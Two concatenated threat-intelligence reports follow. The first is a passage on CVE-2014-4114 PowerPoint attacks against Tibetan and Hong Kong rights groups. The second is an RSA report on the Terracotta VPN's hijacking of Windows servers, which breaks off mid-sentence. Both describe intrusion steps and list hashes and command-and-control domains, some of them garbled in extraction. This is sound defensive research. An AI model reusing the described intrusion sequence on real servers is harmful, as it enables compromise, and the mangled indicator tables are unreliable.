All of these attacks leveraged CVE-2014-4114 and were delivered via malicious Microsoft PowerPoint Slideshow files (*.pps). These attacks are highly targeted, appear to re-purpose legitimate content in decoy documents, and had very low antivirus (AV) detection rates at the time they were deployed. The attacks against Tibetan groups shows a change in tactics from previous campaigns. Over the past four years the majority of attacks we have seen against Tibetan groups use CVE-2010-3333 or CVE-2012-0158. The use of CVE-2014-4114 marks the first time we have observed a change from this pattern in the last two years. One attack sent to Tibetan groups used a link to a file on Google Drive to deliver the malware. Groups in the Tibetan community have promoted awareness campaigns around e-mail attachments, which have been the most common attack vector for the community. This campaign, Detach from Attachments, urges users to avoid sending or opening email attachments, and to use cloud-based storage to send files like Google Drive as an alternative. The use of Google Drive to send malware may be evidence of attackers adapting to the behavioral countermeasures promoted by the campaign. In addition to the use of the same CVE, some of the attacks targeting Tibetan rights groups and Hong Kong groups have overlap in malware family (PlugX) and Command and Control (C2) domains. The similarities between these attacks suggests that either they are being conducted by the same threat actor or threat actors targeting these groups are sharing tactics, tools, and procedures (TTPs). Targeting and Social Engineering We observed a total of five malware campaigns that used CVE-2014-4114 and a range of social engineering tactics to persuade recipients to either open an attachment, or visit a URL and download a malicious file. In all of these attacks, if a recipient double clicks on the .pps file, they are shown decoy content. Examination June 2015 of the exif metadata of the files indicates that the attackers are likely repurposing material from legitimate presentations. PPT files (the more commonly used PowerPoint file extension) are automatically opened in edit mode, whereas .pps files are automatically opened in slideshow mode. For the CVE-2014-4114 exploit to work, the Powerpoint Slideshow needs to be played. Sending .pps files that automatically run a PowerPoint Slideshow is likely an attempt by the attackers to increase the infection rate. TIBETAN ATTACKS Over April and May 2015 we observed 3 attack campaigns targeting a number of Tibetan organizations. The sophistication of the social engineering varied between attacks, but all attacks appeared to use re-purposed legitimate content. Tibet Attack 1: April 2015 The first attack we observed was sent to multiple Tibetan groups over the course of April 2015. The email text is taken from a website related to an advocacy campaign and report by the International Tibet Network (ITN), a prominent Tibetan rights group. The email signature includes the real office address of ITN. However, the sender s email address (tibet_net@yahoo.com.hk) is not a legitimate address related to the group. Attached to the email was a .pps file that repurposes slides from a presentation related to the same report and advocacy campaign referenced in the email message. June 2015 Figure 1: Email lure sent to Tibetan groups Figure 2: Image from decoy PowerPoint Slideshow file June 2015 Tibet Attack 2: April 28, 2015 The second attack was sent out on April 28 2015 to multiple Tibetan organizations. The email message references a recent visit between Archbishop Desmond Tutu and His Holiness the Dalai Lama (HHDL). The .pps attachment also referenced the event and appears to be repurposed from legitimate material. Tibet Attack 3: May 6 2015 The third attack was sent to Tibetan groups on May 6 2015 and contained a simpler message than previous attacks that urges the recipient to download a file from Google Drive, appears to repurpose legitimate content. Dear Sir/Madam, I have shared the Biography of H.H. THE 14TH DALAI LAMA via Google Drive. Kindly download it. PowerPoint Slideshow files do not display properly on Google Drive, and therefore a recipient may be tempted to download and open the file on their computer. The use of Google Docs is potentially evidence of attackers changing tactics in reaction to the Detach from Attachments campaign. HONG KONG ATTACK CAMPAIGNS We analyzed two attacks sent over the course of March 2015 that targeted individuals associated with human rights groups and pro-democratic political parties in Hong Kong. Hong Kong Attack 1: March 6, 2015 The first attack was sent on March 6 2015. The email signature was made to appear to come from an assistant of Dr. Margaret Ng who is a Barrister and a former member of the Legislative Council in Hong Kong. The .pps attachment used a decoy document that appears to repurpose slides from an actual presentation Dr. Ng gave to Columbia Law School in February 2015. June 2015 Hong Kong Attack 2: March 31, 2015 The second attack was sent on March 31 2015, and contained a message related to the Occupy Central protests. The .pps file attachment was also related to Occupy Central and appears to repurpose legitimate content. INFECTION Despite the variety of targets and delivery approaches, the malware shares a common infection process. When the PowerPoint Slideshow is played, the malware leverages CVE-2014-4114, a vulnerability in the OLE Package Manager to infect the target machine. Computers using Windows Vista and above are susceptible to this attack. In addition to the decoy document, the malicious slideshow contains two embedded OLE objects: a .inf file and a malicious executable with a .gif extension that are dropped to the temp folder. June 2015 The .inf file is used to copy the executable and then run it. June 2015 The CVE-2014-4114 vulnerability has been described by Rapid7 and was previously linked to the Sandworm Russian threat actor. In these previously reported attacks, the .inf and .gif files are copied from a remote smb share to the victim s computer. In the attacks we describe here the payload is embedded in the OLE objects, similar to cases described by TrendMicro. Since CVE-2014-4114 is a vulnerability in the OLE package manager it makes it possible for attackers to create a PowerPoint presentation in which the OLE package manager loads a fake .gif file (that is actually a malicious executable), and then a malicious .inf file that runs the executable. If a user double clicks on the malicious attachment, the decoy file opens without crashing the program or producing any other obvious signs that something is wrong with the file. This behaviour contrasts with how other common CVEs used to target groups in the Tibetan community (e.g, CVE-2012-0158, CVE-2010-3333) behave, which typically cause the vulnerable program to crash before opening a decoy document. The exploit used in these attacks does not contain shell code, which makes it harder for AV heuristics to detect June 2015 it. Of the samples we analyzed that have been uploaded to VirusTotal, two currently have 0 detections out of 57 AV engines (see Table 1). Table 1: AV Detection Rates Sample MD5 AV Detection Rate (Orignal Submission) Date / Time: 201518bb1ce405e4abac4b0fc63054 04-30 13:44:39 beac6c Detection rate: 0/56 Date / Time: 20158a18a13910838d08e38db80a0 03-06 02:30:16 8e15bd5 Detection rate: 0/57 Date / Time: 20152a544922d3ece4351c1af4ca63 05-06 09:28:05 c24550 Detection rate 8/57 AV Detection Rate (Current) Date / Time: 201506-04 11:53:17 Detection rate: 0/57 Date / Time: 201506-05 18:36:01 Detection rate: 0/57 Date / Time: 201506-05 18:38:17 20/57 Detection rate: 20/57 PLUGX ATTACKS Three of the sampled we analyzed used the PlugX malware family. PlugX is a well-known malware family that researchers have observed being used in targeted attacks against NGOs, government institutions, and private companies. A Trend Micro report on PlugX, describes a long-standing campaign that previously used Poison Ivy, another malware family. Jaime Blasco at AlienVault claims to have tracked down the author of PlugX, who is allegedly based at a Chinese security company. In these three samples, the embedded executable in OLE is a self extracting RAR containing the three components of PlugX: a signed legitimate executable, a malicious DLL, and a binary file containing the main payload. Using a technique known as DLL sideloading, the legitimate executable runs the malicious DLL. This malicious code then decrypts and decompresses the binary June 2015 file in memory which contains the main functionality. Since the malicious code is being run by a signed, legitimate executable, and the payload never exists unencrypted on disk, it is more difficult for AV to detect PlugX. For two of the three Plug X samples the the malware leverages expired certificates from legitimate vendors: one executable signed by Microsoft and one by F-Secure. Figure 3: Microsoft Certificate June 2015 Figure 4: F-Secure Certificate Connections To Other Malware Families And Campaigns While three attacks used PlugX malware, two other attacks did not. One of these attacks targeted Tibetan groups, the second targeted Hong Kong-based groups. The non-PlugX attack against Tibetan groups communicates with free1999.jkub.com, a C2 that we have previously observed in multiple campaigns using the Surtr malware family and targeting Tibetan groups. The Valkyrie-X Security Research Group has also observed this C2 used in attacks against Hong Kong-based groups. The non-PlugX attack against Hong Kong-based groups used a malware family that Symantec calls Wofeksad and connects to the C2 eset-windows.findhere.org. We have observed the Wofeskad malware family in another attack against a large International NGO that works on multiple countries and issues. However, that attack used CVE-2012-0158 and communicated with a different C2. Details of the samples analyzed in this report are outlined in Table 2. June 2015 Table 2: Sample Details Delivery Sample MD5 Mechani Email 8a18a13910838d08e38db80a Attachm 08e15bd5 705147c509206151c22515ef 568bac51 Email Attachm Email 18bb1ce405e4abac4b0fc6305 Attachm 4beac6c Google 2a544922d3ece4351c1af4ca6 Drive 3c24550 Link Email d7832e76ee2c5c48ae428e575 Attachm 99b589e Targe Malwa Group Family Command and Control esetWofeks windows.findhe re.org PlugX Hong (Sideloa dnsupdate.dyna Kong d Fmic-dns.net Secure) PlugX Tibeta (Sideloa dnsupdate.dyna d Fmic-dns.net Secure) PlugX (Sideloa Microso Tibeta good.wha.la Office 2003 compon ent) Tibeta free1999.jkub.c identifie Hong Kong Conclusion The re-purposed content, low AV detection rate, and the lack of any obvious signs to a user that the files are malicious (such as a program crash) make these attacks concerning. In the case of the Tibetan attacks, the use of CVE-2014-4114 shows a shift in tactics and a possible move away from CVE-2012-0158, which is the most commonly used CVE we have seen in attacks against the community. In addition, the use of Google Drive further suggests a potential change in tactics, possibly in response to behavioral countermeasures developed by Tibetan civil society. June 2015 The overlap in attacks against Tibet and Hong Kong groups also raises questions for future work. Are the attacks being conducted by the same threat actor, or is there sharing of TTPs between actors targeting these groups? Further analysis of attacks against these communities is needed to probe these questions. Acknowledgements Special thanks to Valkyrie-X Security Research Group. The Citizen Lab's research on Targeted Threats against Civil Society is supported by the John D. and Catherine T. MacArthur Foundation. Indicators of Compromise Tibet Attack 1 Attachment File Name: Xi Jinping's Tibet Challenge.pps MD5: 18bb1ce405e4abac4b0fc63054beac6c Drops File name: fsavstrt.exe MD5: 9459478ab9a9b996de683789f77b185c File name: FSMA32.dll MD5: 8432c77b12343d59d991b0d0e0c12f7d File name: FSMA32.dllfox MD5: db5a9c790e909629aaf7079b6996861f Command and Control: dnsupdate.dynamic-dns.net Tibet Attack 2 Attachment File name: Desmond Tutu.pps MD5: d7832e76ee2c5c48ae428e57599b589e Drops File name: putty.gif.exe MD5: a990071b60046863c98bcf462fede77a Command and Control: free1999.jkub.com Tibet Attack 3 Attachment File name: H.H. THE 14TH DALAI LAMA.pps MD5: 2a544922d3ece4351c1af4ca63c24550 June 2015 Drops File name: SX.exe MD5: 5730866b34ef589bd398c9a9b6d7e307 File name: SXLOC.dll MD5: d839691657ca814be13d5c9c6511d6b2 File name: SXLOC.zap MD5: 03c900a1b115e759b32e4172dec52aa2 Command and Control: good.wha.la Hong Kong Attack 1 Attachment Name: .pps MD5: 705147c509206151c22515ef568bac51 Drops File name: fsavstrt.exe MD5: 9459478ab9a9b996de683789f77b185c File name: FSMA32.dll MD5: 8432c77b12343d59d991b0d0e0c12f7d File name: FSMA32.dllfox MD5: db5a9c790e909629aaf7079b6996861f Command and Control: dnsupdate.dynamic-dns.net Hong Kong Attack 2 Attachment File name: Speech and Media Freedom - New Lessons of the Umbrella Revolution.pps MD5: 8a18a13910838d08e38db80a08e15bd5 Drops File name: test.gif.exe MD5: f90c7f8f14d9b5c1898035002401a006 Command and Control: 58.64.139.251 RSA RESEARCH TERRACOTTA VPN Enabler of Advanced Threat Anonymity August 4, 2015 RSA Research Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. EMC has exercised reasonable care in the collecting, processing, and reporting of this information but has not independently verified, validated, or audited the data to verify the accuracy or completeness of the information. EMC shall not be responsible for any errors or omissions contained on this Research Paper, and reserves the right to make changes anytime without notice. Mention of non-EMC products or services is provided for informational purposes only and constitutes neither an endorsement nor a recommendation by EMC. All EMC and third-party information provided in this Research Paper is provided on an "as is" basis. EMC DISCLAIMS ALL WARRANTIES, EXPRESSED OR IMPLIED, WITH REGARD TO ANY INFORMATION (INCLUDING ANY SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS RESEARCH PAPER, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you. In no event shall EMC be liable for any damages whatsoever, and in particular EMC shall not be liable for direct, special, indirect, consequential, or incidental damages, or damages for lost profits, loss of revenue or loss of use, cost of replacement goods, loss or damage to data arising out of the use or inability to use any EMC website, any EMC product or service. This includes damages arising from use of or in reliance on the documents or information present on this Research Paper, even if EMC has been advised of the possibility of such damages Copyright 2015 EMC Corporation. All Rights Reserved. Use, copying, and distribution of any EMC software described in this publication requires an applicable software license. RSA and the RSA logo are registered trademarks or trademarks of EMC Corporation in the United States and other countries. All other products and/or services referenced are trademarks of their respective companies. Published in the USA. August 4, 2015 EXECUTIVE SUMMARY .......................................................................... 5 BACKGROUND ...................................................................................... 5 WHAT IS TERRACOTTA VPN? ................................................................ 5 TERRACOTTA VPN COMPONENTS.......................................................... 6 BEHIND THE TERRACOTTA NODES ....................................................... 7 BEHIND TERRACOTTA NODES: THE VICTIMS ........................................ 9 TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI ...... 9 THE ECONOMICS OF HACKING FOR A PROFIT .................................... 10 VPN NODES THAT DON LOOK LIKE VPN NODES ............................ 11 WHO USES TERRACOTTA VPN? ........................................................... 12 SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN .............................................................................. 12 TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR ..................................... 12 SHELL_CREW ..................................................................................... 14 TERRACOTTA VPN BREAKDOWN ......................................................... 15 DETECTION ........................................................................................ 15 DETECTING NODE ENLISTMENT ACTIVITY ......................................... 15 DETECTING NODE USE IN ATTACKS.................................................... 15 DETECTING USE OF TERRACOTTA VPN RESOURCES ............................ 16 DETECTING TERRACOTTA ASSOCIATED MALWARE ............................. 16 DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT ........................................................................................... 23 DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT ........................................................................................... 25 PREVENTION ...................................................................................... 32 ATTRIBUTION AND PATTERN OF LIFE ................................................ 32 CONCLUSIONS ................................................................................... 33 APPENDIX .......................................................................................... 33 AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST ....................... 33 AUTHORS ........................................................................................... 33 EXECUTIVE SUMMARY In this report, RSA Research explores in depth a malware-supported VPN network, known internally to RSA as Terracotta. Terracotta is an active launch-platform for APT activities of Shell_Crew / DeepPanda and other APT actors, used to obscure the origins of the threat actors malicious activities. It is ensnaring a new class of victims (legitimate commercial and government entities, unknowinly serving VPN nodes and bandwith) into larger-scale APT cases. Fortunately, enlistment in the Terracotta network is readily preventable by using well-established cybersecurity practices. Detection and mitigation for enlisted systems is also quite feasible. Terracotta is commercially marketed in the People s Republic of China (PRC) under several different brand names. VPN services are quite marketable in China as a means to anonymously traverse government internet censorship. Terracotta s malicious methods for acquiring nodes and theft of bandwidth likely derives substantial cost-savings for its operators. Having provided Terracotta VPN indicators to trusted partners, RSA has received multiple reports of (and since observed) suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses. Targets appear to have included Western governments and several commercial entities. By using Terracotta VPN, advanced threat actors appear to originate from seemingly benign sources. Blocking, restricting, or detecting by IP address indicators is difficult because new nodes (hosted in legitimate organizations) are being continuously added. This report by RSA Research may represent the first exposure of a PRC-based VPN operation that maliciously, efficiently and rapidly enlists vulnerable servers around the world. It is the first time RSA Research has seen Shell_Crew / DeepPanda and other similar APT actors using such networks for anonymization and obfuscation. BACKGROUND Virtual Private Networks (VPN) are very popular. They are part and parcel for almost every enterprise network, especially those with remote employees. Aside from VPNs for enterprises, there are many reputable commercial VPN services that offer low-cost, reliable service to individual users. These users employ VPNs for reasons that might include connection security, protection of private data, online gaming acceleration, and bypassing service provider restrictions. VPNs are also used by cyber criminals, as it allows them to obscure their true source location. When a commercial VPN service provider uses resources such as servers and copious bandwidth stolen or repurposed from unsuspecting victims for purposes of profit, analysis and reporting are in order. In this report, RSA Research exposes one such operator doing business with multiple VPN brand names marketed primarily in the People s Republic of China (PRC). Operating with more than 1500 end nodes around the world, RSA Research has confirmed that at least thirty of the host systems are compromised Windows servers that were harvested without the victims knowledge or permission. The operators behind Terracotta VPN continue their broad campaign to compromise multiple victim organizations around the world. RSA Research is reporting on the associated VPN operator because: There is evidence of compromise of multiple victim organization systems around the world, There is evidence of illicit installation of software and malicious remote access tools on the victims servers, and There is evidence of theft of victims resources and bandwidth to serve clients (including advanced threat actors) with a high-performance anonymity service. NOTE: There are two classes of victims described and referred to in this report. Most of the references to victims are of those unknowingly enlisted into the Terracotta VPN service, as outlined above. A second class of victims, APT targets, have been targeted by other actors who are using Terracotta for anonymization and obfuscation. Throughout this report, we specificly refer to APT-victims accordingly, while leaving the generic victim designation for the Terracotta nodes. WHAT IS TERRACOTTA VPN? Terracotta VPN is the name used by RSA Research to describe the dynamically-maintained conglomerate of multiple VPN brand names marketed on Chinese-language websites. The websites are principally linked by common domain name registrant email addresses and are often hosted on the same infrastructure with the same basic web content. TERRACOTTA VPN COMPONENTS There are several high-level components to the Terracotta VPN system. WEBSITES: The most visible Terracotta VPN components are the websites that market the service and the specific brands associated with Terracotta VPN. VPN users can download the software clients, obtain trial credentials, change credentials for their paid accounts, and add credit to paid accounts from these websites. CLIENT SOFTWARE: The client software is another common Terracotta VPN element. The client interfaces are skinned with images and logos consistent with their corresponding websites. The client software is principally developed by a legitimate software vendor, according to the application s file properties and indicative by the domains contacted by the client when the user logs-in. CLIENT SOFTWARE AUTHENTICATION: Closely-tied to the client software is the central client authentication system, by which clients use credentials to authenticate into the client software. Upon successful login, the client software will check for updates and download the latest set of global VPN nodes. COMMON VPN NODES: The dynamic set of 1500+ VPN nodes is another component. These nodes are shared among most of the Terracotta VPN brands and, most notably, link the different elements of the Terracotta VPN ecosystem. The roster of nodes is updated by the various software clients during each login sequence. Figure 1 illustrates the relationships between the Terracotta VPN components and the client VPN-tunneling sequence. USER AUTHENTICATION; The final component is the central Radius-compatible, Internet Authentication Service (IAS) directory that authenticates the user account credentials with the VPN node. The steps are: The Terracotta user establishes an account; obtains credentials and client software from one of the Terracotta brand websites. The user signs into the client UI, which authenticates the client credentials against the central client authentication system. The software client will then populate with an updated roster of VPN nodes. Once the user selects a VPN node, the node will authenticate the user credentials with the distributed IAS directory. Following successful authentication, the Point-to-Point Tunneling Protocol (PPTP) or Layer-Two Tunneling Protocol (L2TP) session is established. At this point the user has successfully tunneled to the Internet through the Terracotta VPN end point. Figure 1. How Terracotta VPN Works BEHIND THE TERRACOTTA NODES Where do the various Terracotta VPN providers obtain the resources to build such a vast VPN network? Out of 1500+ common VPN nodes, it is possible that some servers or appliances were legitimately obtained and leased by the Terracotta VPN operators. We will describe how others were clearly compromised. RSA Research proposes three possible candidates (three devices) encompassing 557 IP addresses. We believe these devices are the best possible candidates for legitimate lease by the Terracotta VPN perpetrators for the following reasons: Massive multi-homing: The minimum quantity of IP addresses per suspected-legitimately-leased-device is 51. Terracotta services are marketed as very cost-effective, offering availability of a large VPN network for approximately $3/month. Massive multi-homing of a single device is apparently a method for inflating the appearance of the network. A Terracotta VPN client pings and displays all available nodes, noting both the date each node came online and its current responsetime. However, while the network may appear to offer multiple new nodes on a given day, nodes with the same enlistment date and similar response-times actually indicate a multi-homed device. Further, network analysis shows the VPN clients usually connect to only a single IP address assigned to each massively multi-homed device. This may result in lower maintenance overhead, and indicates that the Terracotta VPN operator knows full-well that there is just one device behind the large pool of available nodes. And while there is no performance benefit from having the VPN clients ping multiple IP addresses from the same devices, doing so perpetuates the illusion of a larger network than what exists. When connecting to each of the nodes depicted in the client UI below (several nodes reflecting one of three multi-homed devices RSA Research has identified) the exit IP addresses are randomly assigned from the large pool of available IP addresses. Figure 2. Screenshot of Terracotta client app, listing multi-homed nodes No public services other than PPTP VPN. In instances where RSA Research has confirmed the compromise of an organization, the victim organizations used their Internet-facing servers for various use cases, none of which included VPN or Windows Remote Access services. If these were compromised devices, we would expect the devices to be used by their legitimate owners for other purposes prior to being enlisted as Terracotta VPN nodes. If, on the other hand, a legitimate VPN provider was compromised, we expect the operators to have noticed that their authentication process and client-base had been hijacked. Figure 3. RDP Login banner associated with possibly leased Terracotta VPN node A login splash screen (Figure 3) associated with the device with hostname 3819027EEA6E42F indicates the use of Windows Server 2003 Enterprise x64 Server, with Simplified Chinese locale or Chinese language pack. The latter would be the Windows locale most-commonly used by mainland PRC or Singapore residents. BEHIND TERRACOTTA NODES: THE VICTIMS All of the compromised systems, confirmed through victim-communication by RSA Research, are Windows servers. RSA Research suspects that Terracotta is targeting vulnerable Windows servers because this platform includes VPN services that can be configured quickly (in a matter of seconds). While most of the Terracotta victims are smaller organizations without dedicated security staff, large organizations were not immune to exploitation by the Terracotta perpetrators. Organizations with confirmed compromised Windows servers include: Fortune 500 hotel chain Educational service provider A department of transportation in a U.S. state Law firm High tech manufacturer U.S. university-affiliated company Fortune 500 engineering firm Web design and SEO consultant University in Taiwan Physician s office University in Japan Unified Communications as a Service (UCaaS) State university in the U.S. County government of a U.S. state Business-to-Consumer (B2C) applications developer Prize indemnity insurance company Public Convention center in a U.S. city Microsoft Windows enterprise management Wireless test and measurement solutions provider application developer IT Value Added Reseller (VAR) and services provider Boutique IT service provider IT solutions provider/contractor for federal and local Charter school provider government organizations The 23 organizations listed above represent at least 31 Windows server systems that were compromised and enlisted into Terracotta. TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI A common trait shared with all confirmed victims is that they had Internet-exposed Windows servers without hardware firewalls. Additionally, for at least one victim with multiple servers exposed to the Internet, only those servers with the built-in Windows software firewall turned off were enlisted in the Terracotta VPN ecosystem. In one specific compromised system analyzed by RSA Research, the following sequence of events, shown in Figure 4, was noted prior to the system becoming a node in the Terracotta VPN ecosystem: Brute force password attack on the Administrator user account, via DCOM Windows Management Interface (WMI) through TCP port 135. There are multiple security testing tools with this capability, including the popular CoreImpact python class wmiexe.py1. The brute force activity was done from an IP address we call the reconnaissance host which was recently observed performing port 135 scanning on the Internet, according to DShield2. Remote connection using Administrator credentials from the reconnaissance host several hours later to disable the Windows Firewall and install the Telnet Service. Windows logs for this event sequence are consistent with those that would be recorded with use of standard remote administration tools available from Microsoft Management Console (MMC) via standard Windows Management Interface (WMI) protocols. Login in via Remote Desktop (RDP) from a Windows system we call base host , with hostname WEI-270FBC26C38, originating from IP ranges in the vicinity of Dongguan, a suburb of Guangzhou, China. This happens within minutes of events in sequence number two. RSA Research has obtained forensic images indicating that this hostname was used for compromises and enlistment from January 2014 to June 2015. https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py http://dshield.org/ipdetails.html?ip=58.162.xx.xx From base host, uninstall Windows Defender and download and install custom Gh0st Remote Administration Tool (RAT) (dropper MD5: bccbba3ed45ead051f56fc62fef005a6) and/or custom Mitozhan RAT (MD5: 7b18614df95e71032909beb25a7b1e87) and a Windows backdoor shell daemon listening on port 3422 (MD5: 531d30c8ee27d62e6fbe855299d0e7de). Creation of new Windows account (actual examples include mssql and krto ) and addition of account to administrators group, from base host. Days later, a login via RDP from base host in Dongguan, China using the account created in step five to install Network Policy and Access Services and Routing and Remote Access Services with custom remote access policy pointing at Terracotta Internet Authentication Services (IAS) servers. Testing of Terracotta VPN centralized IAS authentication using testwj account from base host WEI-270FBC26C38. Figure 4. Terracotta VPN enlistment THE ECONOMICS OF HACKING FOR A PROFIT Why would a business need to hack servers for use in a VPN ecosystem, when Virtual Private Servers (VPS) are so readily and inexpensively available? Currently, high-quality VPS s with sufficient power for use as a VPN node can be leased for as little as $5.00 per month in the U.S. However, VPN traffic is more bandwidth-intensive than CPU-intensive. Since many VPS solutions provide a base-level of bandwidth and charge for overage, the cost of bandwidth for a VPN service such as Terracotta would significantly affect operating expenses. Even if the monthly recurring bandwidth costs of using VPS servers were ignored, the logistics of managing the contracts and payments with foreign and domestic providers would add significantly to the cost of operations. Conservatively, RSA Research counted more than 300 different organizations behind the 1500+ nodes in the Terracotta VPN ecosystem. Hypothetical Discussion: If the servers were legitimate, at least 300 monthly international transactions would be required to maintain the network. A more-profitable and simpler (if not legitimate) model may be to ensnare a seemingly endless supply of vulnerable servers on the Internet. RSA Research proposes that the Terracotta VPN provider hacks and harvests VPN nodes because this process is not only cheaper, but logistically easier than running a complex accounts payable operation required to maintain a global 1500+ node VPN ecosystem. VPN NODES THAT DON LOOK LIKE VPN NODES Several legitimate mainland PRC VPN providers were reviewed by RSA Research. These providers were consistent in that they ostensibly provided a list of all VPN IP addresses on their websites (Figure 5). A security analyst (or a content service provider with contractual restrictions on geographical distribution), would be able to enumerate hosts associated with the VPN provider and restrict accordingly. In contrast, if a portion of your exit IP addresses appear to be associated with legitimate businesses and can t be easily classified as VPN nodes, then you may attract a customer interested in obscuring its origin. The Terracotta-branded providers do not publish such lists. Their exit nodes remain largely unrestricted, an apparent differentiator. Figure 5. U.S. Nodes as displayed on a legitimate VPN service website WHO USES TERRACOTTA VPN? To help characterize the Terracotta user base, RSA Research analyzed the Microsoft Remote Access Service (MSRAS) logs for a single Terracotta victim server for one month (Table 1). Unique successfully authenticated connections Unique client IP addresses Client IP Addresses in mainland PRC Client IP addresses not in mainland PRC Unique client account names Unique client host names Table 1. 118,948 9,053 8,903 (98%) 150 (2%) 723 (most connections used trial accounts) 3,640 Statistics from a month of logs on an enlisted Terracotta Node Clearly, most users of Terracotta appear to originate within mainland PRC, as is consistent with where the service is marketed. In addition to the APT activity that has been observed, RSA Research believes that use cases include Great Firewall traversal, anonymity, peer to peer (P2P) file sharing and gaming acceleration; though this traffic analysis research is based on a limited number of network packet captures. Other (non-APT) criminal activity that may leverage Terracotta s anonymity is possible, but has not been observed to date. The clients of Terracotta may be entirely unaware of the organizations methods for obtaining servers and bandwidth. SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN Since providing Terracotta VPN indicators to trusted partners, RSA Research has received several reports of suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses. RSA Research can confirm that suspected nation-state actors have leveraged at least 52 Terracotta VPN nodes for exploitation of sensitive targets among Western government and commercial organizations. Perhaps one of the benefits of using Terracotta for Advanced Threat Actors is that their espionagerelated network traffic can blend-in with otherwise-legitimate VPN traffic. TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR RSA Research received a specific report from a large defense contractor concerning 27 different Terracotta VPN node IP addresses that were used to send phishing emails (Figure 6) targeting users in their organization. The phishing emails were simple HTML formatted emails with content pasted from legitimate online news articles. The HTML formatted emails were loaded with an intelligence-gathering tool known as a web bug3 that was specifically tailored to the recipient. https://en.wikipedia.org/wiki/Web_bug Figure 6. Redacted phishing email laden with web bug sent from Terracotta VPN node IP address An image reference in the email pointed to a website controlled by the actors that spoofed a popular Webmail provider. The image reference appeared to have been crafted so as to entice the target into logging into the phishing website with their legitimate credentials (Figure 7), thereby sending the targets webmail credentials directly to the malicious actors. Typically APT actors use the information they gather from web bugs and phishing to later perform highly targeted exploitation or intelligence collection on specific users who have met their criteria. Figure 7. Spoofed login page for major webmail provider, linked from phishing email RSA Research investigated the domain infrastructure related to the phishing activity described above and enumerated related domains, as shown partially redacted in Table 2. The partial- and un-redacted domains below are representative of brands that are commonly spoofed for phishing purposes. All of these domains have been reported and are obvious spoofs. The domains we have redacted involve specific government and defense sector targets. These have been reported and the targets have been notified. Further details can be made available to industry partners. Domains directly related to defense contractor phishing from Terracotta VPN nodes weblogin-yahoo.com weblogin-vxxxxxx.net linkedinmember.com auth-vxxxxxx.com weblogin-live.com [10 related domains based on common hosting] Table 2. Terracotta-originating phishing campaign related domains SHELL_CREW As part of the investigation, RSA Research was able to track suspected Shell_Crew actors in their ongoing exploitation campaign of a sensitive network over several months. These actors connected to a Derusbi server variant beachhead on this target network. Out of the thirteen different IP addresses used during this campaign against this one (APT) target, eleven (85%) were associated with Terracotta VPN nodes. At least in this month s long campaign, we see advanced threat actors using Terracotta VPN infrastructure to obscure their origins and cover their tracks. For more information on these advanced threat actors, refer to the Shell_Crew report from the RSA Incident Response Team here: http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf TERRACOTTA VPN BREAKDOWN A recent network node location breakdown of the Terracotta network indicates that a high percentage of nodes are in China, with secondary focus in the United States and South Korea. Additionally we see smaller quantities in other disparate locations. Figure 8. Geographic concentration of Terracotta VPN Nodes DETECTION Depending on what aspect of the attack you are looking for, detecting Terracotta VPN in your network will likely require a number of different detection methods and technologies. DETECTING NODE ENLISTMENT ACTIVITY If a host has been enlisted as a VPN node in the Terracotta network, the compromised server will beacon to the following URLs as the servers authenticate users to the VPN service: 1.8800free.info (currently resolves to IP address in Zhengzhou, Henan Province, PRC) 2.8800free.info (currently resolves to IP address in Hangzhou, Zhejiang Province, PRC) Servers exhibiting this behavior should be examined for compromise. DETECTING NODE USE IN ATTACKS To detect the use of Terracotta VPN nodes in attacks, ingress/egress connections from the host nodes should be noted and investigated. Hits on these nodes would indicate anonymization activity from the Terracotta network. DETECTING USE OF TERRACOTTA VPN RESOURCES To detect users of this service, connections to Client Authentication Domains (Appendix 1) should be monitored. Hits to these domains would indicate an end-user using the downloadable VPN client to select VPN nodes for use. Additionally, hits to Client Marketing Domains (Appendix 1) may indicate an end-user shopping for access to the VPN service. DETECTING TERRACOTTA ASSOCIATED MALWARE RSA Research has associated several notable malware samples with the Terracotta eco-system. These binaries have been used to provide backdoor/RAT services on compromised servers. RSA Research has observed that this malware is commonly installed by the actors concurrently with other remote administration tools including Radmin, DameWare, and Windows telnet server. Other lateral reconnaissance and exploitation tools used by the Terracotta actors include various port scanners and password dumpers such as Mimikatz and a Chinese tool called DolphinQ.4 Additionally, many Terracotta nodes had sometimes multiple instances of CCProxy installed to provide additional anonymization services. These CCProxy instances used locally configured credentials, and not central authentication like the VPN services. While this is not a thorough analysis of the malware encountered during this investigation, several samples were directly tied to the initial enlistment of the servers as nodes into the Terracotta VPN ecosystem, as mentioned in the Modus Operandi section. Gh0st RAT MM523 File Size: 21.9 MB MD5: bccbba3ed45ead051f56fc62fef005a6 C2: vpn.mm523.net:10000 (currently sinkholed by RSA Research5) http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/zegost http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=TrojanDropper:Win32/Zegost.B#tab=2 RSA Research refers to this variant, or build of Gh0st RAT as MM523 based on the C2 domain. Gh0st is a full function Remote Administration Tool (RAT) with keystroke logger, file manager, remote terminal shell, screen control and capture, and many other functions. Pertinent analysis on Gh0st RAT is available6. Since the majority of confirmed Terracotta-compromised systems are running 64-bit Windows Server 2008 R2, this section will detail more findings that are pertinent to that platform, rarely covered by typical sandbox analysis. This particular binary was found on only one system, but appears to be an installer or dropper for the Gh0st malware that was found on multiple 